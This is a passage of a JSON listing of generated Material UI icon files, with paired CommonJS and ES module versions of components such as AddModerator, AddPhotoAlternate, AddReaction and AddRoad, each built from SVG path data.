    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 10c1.08 0 2.09.25 3 .68V5l-8-3-8 3v6.09c0 5.05 3.41 9.76 8 10.91.03-.01.05-.02.08-.02C10.8 20.71 10 18.95 10 17c0-3.87 3.13-7 7-7\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 12c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m3 5.5h-2.5V20h-1v-2.5H14v-1h2.5V14h1v2.5H20z\"\n}, \"1\")], 'AddModeratorSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddModeratorSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 10c1.08 0 2.09.25 3 .68V5l-8-3-8 3v6.09c0 5.05 3.41 9.76 8 10.91.03-.01.05-.02.08-.02C10.8 20.71 10 18.95 10 17c0-3.87 3.13-7 7-7\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 12c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m3 5.5h-2.5V20h-1v-2.5H14v-1h2.5V14h1v2.5H20z\"\n}, \"1\")], 'AddModeratorSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddModeratorTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4.14 6 6.39v4.7c0 3.33 1.76 6.44 4.33 8.04-1.56-4.89 2.5-9.8 7.67-9.05V6.39z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.33 19.13C7.76 17.53 6 14.42 6 11.09v-4.7l6-2.25 6 2.25v3.69c.71.1 1.38.31 2 .6V5l-8-3-8 3v6.09c0 5.05 3.41 9.76 8 10.91.03-.01.05-.02.08-.02-.79-.79-1.4-1.76-1.75-2.85\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 12c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m3 5.5h-2.5V20h-1v-2.5H14v-1h2.5V14h1v2.5H20z\"\n}, \"2\")], 'AddModeratorTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddModeratorTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4.14 6 6.39v4.7c0 3.33 1.76 6.44 4.33 8.04-1.56-4.89 2.5-9.8 7.67-9.05V6.39z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.33 19.13C7.76 17.53 6 14.42 6 11.09v-4.7l6-2.25 6 2.25v3.69c.71.1 1.38.31 2 .6V5l-8-3-8 3v6.09c0 5.05 3.41 9.76 8 10.91.03-.01.05-.02.08-.02-.79-.79-1.4-1.76-1.75-2.85\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 12c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m3 5.5h-2.5V20h-1v-2.5H14v-1h2.5V14h1v2.5H20z\"\n}, \"2\")], 'AddModeratorTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 13h-6v6h-2v-6H5v-2h6V5h2v6h6z\"\n}), 'AddOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 13h-6v6h-2v-6H5v-2h6V5h2v6h6z\"\n}), 'AddOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddPhotoAlternate.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 7v2.99s-1.99.01-2 0V7h-3s.01-1.99 0-2h3V2h2v3h3v2zm-3 4V8h-3V5H5c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-8zM5 19l3-4 2 3 3-4 4 5z\"\n}), 'AddPhotoAlternate');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddPhotoAlternate.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 7v2.99s-1.99.01-2 0V7h-3s.01-1.99 0-2h3V2h2v3h3v2zm-3 4V8h-3V5H5c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-8zM5 19l3-4 2 3 3-4 4 5z\"\n}), 'AddPhotoAlternate');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddPhotoAlternateOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 20H4V6h9V4H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-9h-2zm-7.79-3.17-1.96-2.36L5.5 18h11l-3.54-4.71zM20 4V1h-2v3h-3c.01.01 0 2 0 2h3v2.99c.01.01 2 0 2 0V6h3V4z\"\n}), 'AddPhotoAlternateOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddPhotoAlternateOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 20H4V6h9V4H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-9h-2zm-7.79-3.17-1.96-2.36L5.5 18h11l-3.54-4.71zM20 4V1h-2v3h-3c.01.01 0 2 0 2h3v2.99c.01.01 2 0 2 0V6h3V4z\"\n}), 'AddPhotoAlternateOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddPhotoAlternateRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.02 5H19V2.98c0-.54-.44-.98-.98-.98h-.03c-.55 0-.99.44-.99.98V5h-2.01c-.54 0-.98.44-.99.98v.03c0 .55.44.99.99.99H17v2.01c0 .54.44.99.99.98h.03c.54 0 .98-.44.98-.98V7h2.02c.54 0 .98-.44.98-.98v-.04c0-.54-.44-.98-.98-.98M16 9.01V8h-1.01c-.53 0-1.03-.21-1.41-.58-.37-.38-.58-.88-.58-1.44 0-.36.1-.69.27-.98H5c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-8.28c-.3.17-.64.28-1.02.28-1.09-.01-1.98-.9-1.98-1.99M15.96 19H6c-.41 0-.65-.47-.4-.8l1.98-2.63c.21-.28.62-.26.82.02L10 18l2.61-3.48c.2-.26.59-.27.79-.01l2.95 3.68c.26.33.03.81-.39.81\"\n}), 'AddPhotoAlternateRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddPhotoAlternateRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.02 5H19V2.98c0-.54-.44-.98-.98-.98h-.03c-.55 0-.99.44-.99.98V5h-2.01c-.54 0-.98.44-.99.98v.03c0 .55.44.99.99.99H17v2.01c0 .54.44.99.99.98h.03c.54 0 .98-.44.98-.98V7h2.02c.54 0 .98-.44.98-.98v-.04c0-.54-.44-.98-.98-.98M16 9.01V8h-1.01c-.53 0-1.03-.21-1.41-.58-.37-.38-.58-.88-.58-1.44 0-.36.1-.69.27-.98H5c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-8.28c-.3.17-.64.28-1.02.28-1.09-.01-1.98-.9-1.98-1.99M15.96 19H6c-.41 0-.65-.47-.4-.8l1.98-2.63c.21-.28.62-.26.82.02L10 18l2.61-3.48c.2-.26.59-.27.79-.01l2.95 3.68c.26.33.03.81-.39.81\"\n}), 'AddPhotoAlternateRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddPhotoAlternateSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 7v2.99s-1.99.01-2 0V7h-3s.01-1.99 0-2h3V2h2v3h3v2zm-3 4V8h-3V5H3v16h16V11zM5 19l3-4 2 3 3-4 4 5z\"\n}), 'AddPhotoAlternateSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddPhotoAlternateSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 7v2.99s-1.99.01-2 0V7h-3s.01-1.99 0-2h3V2h2v3h3v2zm-3 4V8h-3V5H3v16h16V11zM5 19l3-4 2 3 3-4 4 5z\"\n}), 'AddPhotoAlternateSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddPhotoAlternateTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10.21 16.83-1.96-2.36L5.5 18h11l-3.54-4.71z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 18h-11l2.75-3.53 1.96 2.36 2.75-3.54zM17 7h-3V6H4v14h14V10h-1z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4V1h-2v3h-3v2h3v2.99h2V6h3V4zm-2 16H4V6h10V4H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V10h-2z\"\n}, \"2\")], 'AddPhotoAlternateTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddPhotoAlternateTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m10.21 16.83-1.96-2.36L5.5 18h11l-3.54-4.71z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 18h-11l2.75-3.53 1.96 2.36 2.75-3.54zM17 7h-3V6H4v14h14V10h-1z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4V1h-2v3h-3v2h3v2.99h2V6h3V4zm-2 16H4V6h10V4H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V10h-2z\"\n}, \"2\")], 'AddPhotoAlternateTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddReaction.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 9V7h-2V2.84C14.77 2.3 13.42 2 11.99 2 6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12c0-1.05-.17-2.05-.47-3zm-2.5-1c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m-7 0c.83 0 1.5.67 1.5 1.5S9.33 11 8.5 11 7 10.33 7 9.5 7.67 8 8.5 8m3.5 9.5c-2.33 0-4.31-1.46-5.11-3.5h10.22c-.8 2.04-2.78 3.5-5.11 3.5M22 3h2v2h-2v2h-2V5h-2V3h2V1h2z\"\n}), 'AddReaction');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddReaction.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 9V7h-2V2.84C14.77 2.3 13.42 2 11.99 2 6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12c0-1.05-.17-2.05-.47-3zm-2.5-1c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m-7 0c.83 0 1.5.67 1.5 1.5S9.33 11 8.5 11 7 10.33 7 9.5 7.67 8 8.5 8m3.5 9.5c-2.33 0-4.31-1.46-5.11-3.5h10.22c-.8 2.04-2.78 3.5-5.11 3.5M22 3h2v2h-2v2h-2V5h-2V3h2V1h2z\"\n}), 'AddReaction');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddReactionOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 9.5C7 8.67 7.67 8 8.5 8s1.5.67 1.5 1.5S9.33 11 8.5 11 7 10.33 7 9.5m5 8c2.33 0 4.31-1.46 5.11-3.5H6.89c.8 2.04 2.78 3.5 5.11 3.5m3.5-6.5c.83 0 1.5-.67 1.5-1.5S16.33 8 15.5 8 14 8.67 14 9.5s.67 1.5 1.5 1.5M22 1h-2v2h-2v2h2v2h2V5h2V3h-2zm-2 11c0 4.42-3.58 8-8 8s-8-3.58-8-8 3.58-8 8-8c1.46 0 2.82.4 4 1.08V2.84C14.77 2.3 13.42 2 11.99 2 6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12c0-1.05-.17-2.05-.47-3H19.4c.38.93.6 1.94.6 3\"\n}), 'AddReactionOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddReactionOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 9.5C7 8.67 7.67 8 8.5 8s1.5.67 1.5 1.5S9.33 11 8.5 11 7 10.33 7 9.5m5 8c2.33 0 4.31-1.46 5.11-3.5H6.89c.8 2.04 2.78 3.5 5.11 3.5m3.5-6.5c.83 0 1.5-.67 1.5-1.5S16.33 8 15.5 8 14 8.67 14 9.5s.67 1.5 1.5 1.5M22 1h-2v2h-2v2h2v2h2V5h2V3h-2zm-2 11c0 4.42-3.58 8-8 8s-8-3.58-8-8 3.58-8 8-8c1.46 0 2.82.4 4 1.08V2.84C14.77 2.3 13.42 2 11.99 2 6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12c0-1.05-.17-2.05-.47-3H19.4c.38.93.6 1.94.6 3\"\n}), 'AddReactionOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddReactionRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M24 4c0 .55-.45 1-1 1h-1v1c0 .55-.45 1-1 1s-1-.45-1-1V5h-1c-.55 0-1-.45-1-1s.45-1 1-1h1V2c0-.55.45-1 1-1s1 .45 1 1v1h1c.55 0 1 .45 1 1m-2.48 4.95c.31.96.48 1.99.48 3.05 0 5.52-4.48 10-10 10S2 17.52 2 12 6.48 2 12 2c1.5 0 2.92.34 4.2.94-.12.33-.2.68-.2 1.06 0 1.35.9 2.5 2.13 2.87C18.5 8.1 19.65 9 21 9c.18 0 .35-.02.52-.05M7 9.5c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5S9.33 8 8.5 8 7 8.67 7 9.5m9.31 4.5H7.69c-.38 0-.63.42-.44.75.95 1.64 2.72 2.75 4.75 2.75s3.8-1.11 4.75-2.75c.19-.33-.05-.75-.44-.75M17 9.5c0-.83-.67-1.5-1.5-1.5S14 8.67 14 9.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5\"\n}), 'AddReactionRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddReactionRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M24 4c0 .55-.45 1-1 1h-1v1c0 .55-.45 1-1 1s-1-.45-1-1V5h-1c-.55 0-1-.45-1-1s.45-1 1-1h1V2c0-.55.45-1 1-1s1 .45 1 1v1h1c.55 0 1 .45 1 1m-2.48 4.95c.31.96.48 1.99.48 3.05 0 5.52-4.48 10-10 10S2 17.52 2 12 6.48 2 12 2c1.5 0 2.92.34 4.2.94-.12.33-.2.68-.2 1.06 0 1.35.9 2.5 2.13 2.87C18.5 8.1 19.65 9 21 9c.18 0 .35-.02.52-.05M7 9.5c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5S9.33 8 8.5 8 7 8.67 7 9.5m9.31 4.5H7.69c-.38 0-.63.42-.44.75.95 1.64 2.72 2.75 4.75 2.75s3.8-1.11 4.75-2.75c.19-.33-.05-.75-.44-.75M17 9.5c0-.83-.67-1.5-1.5-1.5S14 8.67 14 9.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5\"\n}), 'AddReactionRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddReactionSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 9V7h-2V2.84C14.77 2.3 13.42 2 11.99 2 6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12c0-1.05-.17-2.05-.47-3zm-2.5-1c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m-7 0c.83 0 1.5.67 1.5 1.5S9.33 11 8.5 11 7 10.33 7 9.5 7.67 8 8.5 8m3.5 9.5c-2.33 0-4.31-1.46-5.11-3.5h10.22c-.8 2.04-2.78 3.5-5.11 3.5M22 3h2v2h-2v2h-2V5h-2V3h2V1h2z\"\n}), 'AddReactionSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddReactionSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 9V7h-2V2.84C14.77 2.3 13.42 2 11.99 2 6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12c0-1.05-.17-2.05-.47-3zm-2.5-1c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m-7 0c.83 0 1.5.67 1.5 1.5S9.33 11 8.5 11 7 10.33 7 9.5 7.67 8 8.5 8m3.5 9.5c-2.33 0-4.31-1.46-5.11-3.5h10.22c-.8 2.04-2.78 3.5-5.11 3.5M22 3h2v2h-2v2h-2V5h-2V3h2V1h2z\"\n}), 'AddReactionSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddReactionTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.41 9H18V7h-2V5.08C14.82 4.4 13.46 4 12 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8c0-1.06-.21-2.07-.59-3M15.5 8c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m-7 0c.83 0 1.5.67 1.5 1.5S9.33 11 8.5 11 7 10.33 7 9.5 7.67 8 8.5 8m3.5 9.5c-2.33 0-4.31-1.46-5.11-3.5h10.22c-.8 2.04-2.78 3.5-5.11 3.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 9.5C7 8.67 7.67 8 8.5 8s1.5.67 1.5 1.5S9.33 11 8.5 11 7 10.33 7 9.5m5 8c2.33 0 4.31-1.46 5.11-3.5H6.89c.8 2.04 2.78 3.5 5.11 3.5m3.5-6.5c.83 0 1.5-.67 1.5-1.5S16.33 8 15.5 8 14 8.67 14 9.5s.67 1.5 1.5 1.5M22 1h-2v2h-2v2h2v2h2V5h2V3h-2zm-2 11c0 4.42-3.58 8-8 8s-8-3.58-8-8 3.58-8 8-8c1.46 0 2.82.4 4 1.08V2.84C14.77 2.3 13.42 2 11.99 2 6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12c0-1.05-.17-2.05-.47-3H19.4c.38.93.6 1.94.6 3\"\n}, \"1\")], 'AddReactionTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddReactionTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.41 9H18V7h-2V5.08C14.82 4.4 13.46 4 12 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8c0-1.06-.21-2.07-.59-3M15.5 8c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m-7 0c.83 0 1.5.67 1.5 1.5S9.33 11 8.5 11 7 10.33 7 9.5 7.67 8 8.5 8m3.5 9.5c-2.33 0-4.31-1.46-5.11-3.5h10.22c-.8 2.04-2.78 3.5-5.11 3.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 9.5C7 8.67 7.67 8 8.5 8s1.5.67 1.5 1.5S9.33 11 8.5 11 7 10.33 7 9.5m5 8c2.33 0 4.31-1.46 5.11-3.5H6.89c.8 2.04 2.78 3.5 5.11 3.5m3.5-6.5c.83 0 1.5-.67 1.5-1.5S16.33 8 15.5 8 14 8.67 14 9.5s.67 1.5 1.5 1.5M22 1h-2v2h-2v2h2v2h2V5h2V3h-2zm-2 11c0 4.42-3.58 8-8 8s-8-3.58-8-8 3.58-8 8-8c1.46 0 2.82.4 4 1.08V2.84C14.77 2.3 13.42 2 11.99 2 6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12c0-1.05-.17-2.05-.47-3H19.4c.38.93.6 1.94.6 3\"\n}, \"1\")], 'AddReactionTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddRoad.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 18v-3h-2v3h-3v2h3v3h2v-3h3v-2zM18 4h2v9h-2zM4 4h2v16H4zm7 0h2v4h-2zm0 6h2v4h-2zm0 6h2v4h-2z\"\n}), 'AddRoad');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddRoad.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 18v-3h-2v3h-3v2h3v3h2v-3h3v-2zM18 4h2v9h-2zM4 4h2v16H4zm7 0h2v4h-2zm0 6h2v4h-2zm0 6h2v4h-2z\"\n}), 'AddRoad');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddRoadOutlined.js",
